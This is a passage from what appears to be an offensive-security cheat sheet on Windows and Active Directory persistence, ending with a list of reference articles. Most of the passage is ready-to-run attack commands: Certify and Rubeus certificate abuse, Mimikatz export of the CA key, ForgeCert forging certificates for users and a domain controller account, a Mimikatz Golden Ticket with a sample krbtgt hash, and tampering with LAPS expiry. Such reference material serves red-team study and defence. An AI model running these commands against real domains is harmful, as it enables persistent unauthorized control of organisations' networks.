    620 # require: VirtualBox Guest Additions
    621 .\VBoxManage.exe sharedfolder add $vmname -name shadow_c -hostpath c:\ -automount
    622 # then mount the folder in the VM
    623 sudo mkdir /mnt/c
    624 sudo mount -t vboxsf shadow_c /mnt/c
    625 ```
    626 
    627 ### Windows Subsystem for Linux
    628 
    629 ```ps1
    630 # List and install online packages
    631 wsl --list --online
    632 wsl --install -d kali-linux
    633 
    634 # Use a local package
    635 wsl --set-default-version 2
    636 curl.exe --insecure -L -o debian.appx https://aka.ms/wsl-debian-gnulinux
    637 Add-AppxPackage .\debian.appx
    638 
    639 # Run the machine as root
    640 wsl kali-linux --user root
    641 ```
    642 
    643 ## Domain
    644 
    645 ### User Certificate
    646 
    647 ```ps1
    648 # Request a certificate for the User template
    649 .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User
    650 
    651 # Convert the certificate for Rubeus
    652 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    653 
    654 # Request a TGT using the certificate
    655 .\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!
    656 ```
    657 
    658 ### Golden Certificate
    659 
    660 > Require elevated privileges in the Active Directory, or on the ADCS machine
    661 
    662 * Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...`
    663 * Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER
    664 
    665     ```ps1
    666     privilege::debug
    667     crypto::capi
    668     crypto::cng
    669     crypto::certificates /systemstore:local_machine /store:my /export
    670     ```
    671 
    672 * Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
    673 * [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate
    674 
    675     ```ps1
    676     ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
    677     ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
    678     ```
    679 
    680 * Finally you can request a TGT using the Certificate
    681 
    682     ```ps1
    683     Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
    684     ```
    685 
    686 ### Golden Ticket
    687 
    688 > Forge a Golden ticket using Mimikatz
    689 
    690 ```ps1
    691 kerberos::purge
    692 kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
    693 kerberos::tgt
    694 ```
    695 
    696 ### LAPS Persistence
    697 
    698 To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.
    699 
    700 ```ps1
    701 Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
    702 ```
    703 
    704 ## References
    705 
    706 * [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - wunderwuzzi - September 23, 2020](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)
    707 * [Corrupting the Hive Mind: Persistence Through Forgotten Windows Internals - Michael Weber - January 26, 2026](https://www.praetorian.com/blog/corrupting-the-hive-mind-persistence-through-forgotten-windows-internals/)
    708 * [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/)
    709 * [Hijack the TypeLib. New COM persistence technique - CICADA8 - October 22, 2024](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
    710 * [IIS Raid – Backdooring IIS Using Native Modules - February 19, 2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
    711 * [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - @phraaaaaaa - April 27, 2020](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
    712 * [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
    713 * [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
    714 * [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
    715 * [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)
    716 * [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
    717 * [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html)
    718 * [PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n - February 27, 2023](https://0xv1n.github.io/posts/scmanager/)
    719 * [Sc sdset - Microsoft - August 31, 2016](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742037(v=ws.11))
    720 * [SharPersist Windows Persistence Toolkit in C - Brett Hawkins - September 8, 2019](http://www.youtube.com/watch?v=K7o9RSVyazo)
    721 * [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)